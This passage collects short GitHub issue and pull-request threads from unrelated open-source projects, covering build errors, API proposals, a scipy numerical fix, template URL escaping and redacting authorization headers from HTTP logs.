Ⅳ. Describe how to verify it
Ⅴ. Special notes for reviews

@jyizheng  Could you please sign off your commits and squash it?

Codecov Report

Merging #1062 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master    #1062   +/-   ##
=======================================
  Coverage   47.15%   47.15%
=======================================
  Files         117      117
  Lines        7144     7144
=======================================
  Hits         3369     3369
  Misses       3513     3513
  Partials      262      262

Impacted Files
Coverage Δ

supernode/store/local_storage.go
62.94% <ø> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update e026d27...a6abf5b. Read the comment docs.

LGTM.


Changed from a dead "hub" link

The new link points to the KB: "Error logging in HTTP APIs"
"This article describes the error-logging capabilities of HyperText Transfer Protocol (HTTP) application programming interfaces (APIs).
Original product version:   Windows Server 2008 R2, Windows Server 2008, Windows Server 2012 R2, Windows Server 2012, Windows 10, Windows 8.1
Original KB number:   820729"

@rgresock : Thanks for your contribution! The author(s) have been notified to review your proposed change.

@HaiyingYu : Thanks for your contribution! The author(s) have been notified to review your proposed change.


Extend cookbook and adapt it to Debian Jessie

I started to use the cups cookbook for our new printserver with Debian Jessie.
These are the changes I've done so far in one pull request.
I could split them into smaller requests if you prefer so.
Cheers,
Christopher

Looks great; I'll integrate the ACL change into the default template too and merge this when I have a chance.

I didn't get around to modifying the default template here as well, but I don't want to hold up this merge any longer. Thanks!


Callback remove

Hi, I have a problem with deleting the callback. When I enter the command "nb -H X.X.X.X:8080 -T (token) callbackList" 3 callbacks are displayed. When I enter the command "nb callbackRemove" it shows "nb: fatal: Missing host. Set NB_HOST or specify -H.". So how do I clear the callback? Thank you

Yes, I did: nb -H <IP_ADDRESS>:8080 -T 037267 callbackRemove.
Then ID missing: nb callbackRemove: fatal: parameter id missing usage: nb callbackRemove [-h] id.
I add -h and ID and this is there: Remove Nuki bridge subscription.
Usage: callbackRemove [-h] id
Parameters:
-h, --help
Print this help and exit.
id
Remove callback with ID id (from nb callbackList).
See https://github.com/ebaauw/homebridge-nb for more info.
Thank you very much

You need to tell it which callback you want to remove.

I have it. I used -h before the ID. That was the mistake. Thank you


config

move the config into a file that is ignored by git so when I do a git pull I can keep my config.

@thisboyiscrazy This is now working for python thanks to a fellow githubber. Do you use PHP?

No just python thanks.

We've actually gone a slightly different route and these are now passed in as command line arguments.


Patch some build issues on Linux, Fixes #89, fixes #115

It builds! Tested on Ubuntu 14.04 and OpenSuse latest.

Great, thanks for the PR!


nginx 1.14 and above compile error

Do you know if there is any maintenance for this module?
I currently encounter a problem, that is, I am compiling nginx version 1.14 and above
http_core module compilation, I later used nginx 1.9.2 version without this one
Problems occur, such as if the author of the proxy_connect module can improve it, or is there something missing?Something is missing, thank you, provide 1.17 and 1.15 error messages
The current system is centos 7.7
請問不知道這一個模組還有再維護嗎?
我目前遇到一個問題,就是我在編譯nginx 版本1.14以上版本都發生在
http_core 模組編譯情況,我後來使用 nginx 1.9.2版本就沒有這一個
問題發生囉,如撰寫proxy_connect 模組作者是否可改善一下,還是有缺
少什麼物件產生的,謝謝你,提供1.17和1.15版本錯誤訊息

ping? Think it resolved, if u still has this problem, please reopen!


fix(SphereRenderer): draw video to canvas at IE11

Issue
#144
Details

fix(SphereRenderer): draw video to canvas at IE11

Coverage decreased (-0.1%) to 89.581% when pulling 5a268e6c3eb0437f80e48de41152cbe27af4b7c5 on PanoViewer#144 into eeb815dfcabec922da0a3f9b46660ca2c8e3fea4 on 3.0.0-rc.


Wrap new 3.04 functionality

Go through and add new functionality that's just recently been exposed through the C-API. See https://groups.google.com/forum/#!topic/tesseract-dev/xXplYPiZCZI

Closing, please create separate issues for each new feature.


AggregateWhile & AggregateUntil functions

Like Aggregate, AggregateWhile returns a single item by iterating through the list, successively calling the iterator function. AggregateWhile also takes a predicate that is evaluated before each step. If the predicate returns false, it "short-circuits" the iteration and returns the current value of the accumulator.
For symmetry, I also propose AggregateUntil.
Signatures:

static TAccumulate AggregateWhile<TSource>(this IEnumerable<TSource> source, Func<TSource, TSource, bool> predicate, Func<TSource, TSource, TSource> func)
static TAccumulate AggregateWhile<TSource, TAccumulate>(this IEnumerable<TSource> source, TAccumulate seed, Func<TAccumulate, TSource, bool> predicate, Func<TAccumulate, TSource, TAccumulate> func)

These signature pattern also apply for AggregateUntil .
Examples of usage:

int sumWhileLesser = numbers.AggregateWhile(0, (acc, x) => acc % x == 0, (acc, x) => acc + x)

int sumOfAges = students.AggregateUntil(0, (acc, s) => s.Name == "Bob" && s.Age < acc, (acc, s) => acc + s.Age);

string summary = texts.AggregateWhile((acc, _) => acc.Length <= 1000, (acc, x) => acc + x);

bool sumGreaterThan1000 = numbers.AggregateUntil(0, (acc, _) => acc > 1000, (acc, x) => acc + x) > 1000;

I would like to submit a PR for this.
What do you think?

You can combine Scan with TakeWhile or TakeUntil and then Last to get the same effect, e.g.:
"the quick brown fox jumps over the lazy dog"
    .Split()
    .Scan((Length: 0, Word: default(string)), (s, w) => (s.Length + w.Length, w))
    .Skip(1)
    .TakeUntil(e => e.Word == "over")
    .Last().Length

and where the condition doesn't depend on an element:
Enumerable.Range(1, 1000)
          .Scan((s, x) => s + x)
          .TakeUntil(s => s > 1000)
          .Last()

Your approach doesnt work always...
As you said:

If the criteria to stop is in source list, then we can combineTakeWhile/TakeUntil with Aggregate.
If the criteria to stop is the result of the Aggregate, then we can combine Scan with Aggregate.

But if the criteria to stop use the result of the Aggregate as well the source list, there is no alternative.
Example:
var students = new[]
{
    new { Name = "alice", Age = 10 },
    new { Name = "bob", Age = 40 },
    new { Name = "carlos", Age = 30 },
    new { Name = "bob", Age = 20 },
    new { Name = "dario", Age = 50 },
};

var result = students.AggregateUntil(0, (acc, s) => s.Name == "bob" && acc > 60,
                                        (acc, s) => acc + s.Age);

Console.WriteLine(result); // 100

Your example can be written in terms of Scan & TakeUntil:
var result =
    students.Scan(new { Name = default(string), Age = 0 },
                  (acc, s) => new { s.Name, Age = acc.Age + s.Age })
            .TakeUntil(s => s.Name == "bob" && s.Age > 60)
            .Last().Age;

With C# 7 tuples, you can even avoid the cost of the intermediate anonymous objects:
var result =
    students.Scan((Name: default(string), Age: 0),
                  (acc, s) => (s.Name, acc.Age + s.Age))
            .TakeUntil(s => s.Name == "bob" && s.Age > 60)
            .Last().Age;

@atifaziz you are right! For some reason I forgot about to use anonymous object as intermediary to produce the expected result.
Of course Scan + TakeWhile + Last combination is not the best code (otherwise, why would exists Aggregate if we can replace it by Scan + Last ?), but is solves the problem.


BUG: fix jensenshannon returns NaN for some similar distributions

Closes #20083
The jensenshannon function returns NaN values for some distributions close to each other by taking the square root of a negative number. The negative numbers appear in the return of the rel_entr function.
To fix this, use the equivalent kl_div function instead of rel_entr because it always returns non-negative values.
This is possible because the extra parameters on the kl_div formula that make the values non-negative will be canceled out in the sum.

Though I suggested this workaround in https://github.com/scipy/scipy/issues/20083#issuecomment-1980946457, I am not sure whether this is a reasonable solution.
In the example of the original issue #20083, the second jsd is:
second jsd: 0.0001306777430188037

After this fix, the result becomes:
second jsd: 0.0001788337319063894

Seems the results are unstable due to the small numbers. Thoughts from the maintainers would be appreciated.


grpc_stats: add protobuf serialization to filter object

Signed-off-by: Kuat Yessenov<EMAIL_ADDRESS>Description: serialize stream stats for telemetry
Risk Level: low
Testing: unit
Docs Changes: none
Release Notes: none
[Optional Fixes #Issue]
[Optional Deprecated:]

@envoyproxy/api-shepherds API LGTM

Gentle ping @htuch


Allow overriding input field decoration

Simply lets users change the look of the input field within the alert.

Huge Thanks! @ArkinSolomon
Your changes just published!
Update package version to  v1.0.11 :)


Sample error

Sorry,I tried to find the answer on the Internet but couldn't find it. I am a newbie in C++, what is wrong with my configuration. Thank you, it is win10 system.
g++ scoring_example01.cc -lcPMML -o scoring_example01
cannot find -lcPMML
collect2.exe: error: ld returned 1 exit status

Excuse me, if I want to directly reference the package, can I put cPMML.h, libcPMML.dll, libcPMML.dll.a in the include path?


[firestore-send-email] attachments from firebase storage not working with templates

[READ] Step 1: Are you in the right place?
Issues filed here should be about bugs for a specific extension in this repository.
If you have a general question, need help debugging, or fall into some
other category use one of these other channels:

For general technical questions, post a question on StackOverflow
with the firebase tag.
For general Firebase discussion, use the firebase-talk
google group.
To file a bug against the Firebase Extensions platform, or for an issue affecting multiple extensions, please reach out to
Firebase support directly.

[REQUIRED] Step 2: Describe your configuration
Extension name: firestore-send-email
Extension version: 0.1.24
Configuration values (redact info where appropriate):
[REQUIRED] Step 3: Describe the problem
when I create a new document with attachment data on firestore pointing to a template. I get the error:
Error: Invalid status code 403 when try to delivery.
this is with authentication rules for storage, if I allow access to all on storage, the email is sended but the attached image is broken.
anyways I using a public link url (w/ access token), so idk why have this problem.
PS: If I dont use a template the email is sended with attachments without problem.
PS2: if I use any image from web the email is sended correctly (with template)
PS3: if I put the URL from storage directly on the template (as a static value), the email is sended correctly with the attachment
Steps to reproduce:
What happened? How can we make the problem occur?
This could be a description, log/console output, etc.
template content:

http://imgfz.com/i/5z2QI3i.png
firestore document content:
http://imgfz.com/i/BrxMShQ.png

Expected result
email sended with attachments from the firebase storage
Actual result
email 403 error or corrupted attachments

I'm experiencing bizzare issues too. I posted This Question on stack overflow with more detail

Same issue when sending pdf files with templates. Corrupted pdf files (1kb files) are sent instead. Sending attachment directly without using templates works perfectly.

OK after testing I've found out the issue, I think there's some HTML entities/encoding going on. I will try to implement a fix
In the failing case the storage url is converted to:
<FILENAME>?alt=media&token=<TOKEN>
vs in the successful case:
<FILENAME>?alt=media&token=<TOKEN>

I believe the issue is handlebars.js escaping the = and & in the URL. I will look to see if there's a solution, but a workaround for now is to use triple parentheses:
{{{picPath}}}

in your template.

Hey! We've decided it is better if we don't do any extra unescaping within the extension. We will update the documentation to reflect that the solution here is to use triple parentheses {{{picPath}}} as mentioned.


Polyfill script in examples template loads later than in stand-alone example code

Describe the bug
This can be seen in the latest Export PDF example.  Although displayed code works with Internet Explorer when stand-alone, when wrapped in the template the jspdf script (which needs the fetch polyfill to define Promise) loads before the polyfill script.

Changing that example to use jspdf from npm, like we do with proj4, might solve the issue.

Would you want to create and maintain dependencies which are specific to one example?  It looks like moving the polyfill script line to above {{{ extraHead.local }}} in https://github.com/openlayers/openlayers/blob/master/examples/templates/example.html would be sufficient.


Missing 'Contact Us' Form in Footer Section

Issue Report
Missing 'Contact Us' Form in Footer Section
Description
The website currently displays contact details such as email, phone number, and address, but there is no dedicated contact form. Adding a "Contact Us" form would make it easier for users to get in touch directly through the website.
Expected Behavior
The form should allow users to submit their contact information and message, which would be sent to the website’s email.
Actual Behavior
There is currently no "Contact Us" form available on the website. Users can only see static contact information such as email, phone number, and address. There is no option to directly send a message through the site.
Screenshots

Placement:
Either a dedicated "Contact Us" page or a smaller form embedded in the footer, depending on the design preference.
@saurabhbakolia Please assign me this issue under gssoc and hacktoberfest and level label...

@thakuratul2 Please look itno this issue and assign it to me....

@Ayan-Khan79 done

@saurabhbakolia  Can you please add the label of gssoc,level and hacktoberfest also..


[fix] hunchentoot-auth: use ssl only when blog uses it

Blog hangs on login when started without ssl (as well as on new post etc), because acceptor does know about ssl connections.

ping

bump

bump! ;)


Blind Refresh

We would require a mechanism to scan all the tentative accounts(w/o user feedback) and come up with the missing/delta transactions.

-UI is pending.So,not able to test it.

There is a Ticket for this in a future release to build the front end. That’s the ticket we can test. We can close this one.


Top bar shifts to the right in the home page

Fix

nevermind I can't replicate anymore for whatever reason


HttpLoggingInterceptor leaks Authorization Header

Feature Request/Bug:
When using Level.HEADERS or Level.BODY all HTTP headers of request and response are printed.
If someone is using these for e.g. tests running on a CI server, the logs will leak authorization tokens.
There is a warning in the README about not using this in production, but I think it would be very easy to redact values of sensitive headers (I think "Authorization" and "Proxy-Authorization" are the only ones?)
I have already working code for this, but I wanted to know if this is something you would like to see upstreamed and how it should be configured: e.g. by adding more levels or adding a boolean redactSensitiveHeaders to the constructor.

A boolean isn't a very future-proof solution. We could accept a list. Or
add a builder where you could add individual headers.
On Mon, Feb 5, 2018 at 6:14 AM Marco Nembrini<EMAIL_ADDRESS>wrote:

Feature Request/Bug:
When using Level.HEADERS or Level.BODY all HTTP headers of request and
response are printed.
If someone is using these for e.g. tests running on a CI server, the logs
will leak authorization tokens.
There is a warning in the README about not using this in production, but I
think it would be very easy to redact values of sensitive headers (I think
"Authorization" and "Proxy-Authorization" are the only ones?)
I have already working code for this, but I wanted to know if this is
something you would like to see upstreamed and how it should be configured:
e.g. by adding more levels or adding a boolean redactSensitiveHeaders
to the constructor.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/square/okhttp/issues/3826, or mute the thread
https://github.com/notifications/unsubscribe-auth/AAEEEVX2_gx-GUUSeAs0jQnfBVEgnoZCks5tRuKTgaJpZM4R5R8Q
.


Disarm should do stamina damage

Credit to Emo for the idea.
The issue atm is there's a hidden RNG chance to it so it feels kinda bad to use even as a last resort because you the receiver might go down in 1 disarm which doesn't feel fair on their end, or it might take you 10 tries. If it did consistent stamina damage it would be more of a conscious choice to use.

How difficult would shoving be? I feel it could work well if that wasn't a potential physics nightmare.

Do you mean moving someone else? If so it's going to mispredict.

Yeah using a "push" to move someone else.


[Test Failed] DEMM has on mode attribute enabled (failed IDM-10.2 conformance) in Energy Management App

Test issue(s)
When testing IDM against Energy Management App the checker found:
Problem: ProblemSeverity.ERROR
    test_name: IDM-10.2
    location:
       Endpoint: 1,
       Cluster:  159 (0x9f) DeviceEnergyManagementMode
      Attribute:3 (0x03)
    problem: Attribute 0x03 is included, but is disallowed by conformance. Conformance: DEPONOFF, implemented features:
    spec_location:

    This was previously enabled, but since changing the spec to disallow DEPONOFF and Startup mode and OnMode these attributes should not be enabled.

    Worth also checking in EEVSE mode and WHM mode.
Platform
all
Anything else?
This was found in Matter 1.4 TE2 testing.

This should be fixed in https://github.com/project-chip/connectedhomeip/pull/34886/files#diff-7536f8bfb7946b8cb2adf36b3a8a3e1898e36a3901ece2f62f224697411a94b5L4871-L4903
EVSEM and DEMM do not seem to have this enabled in my build locally - so think this is resolved.

Checked EVSEM, DEMM, WHM on master : 6c6b11f723692855446744c8bbc36ec1c5404512 (Thurs 29th Aug) and OnMode and StartupMode attributes are not present on EP1.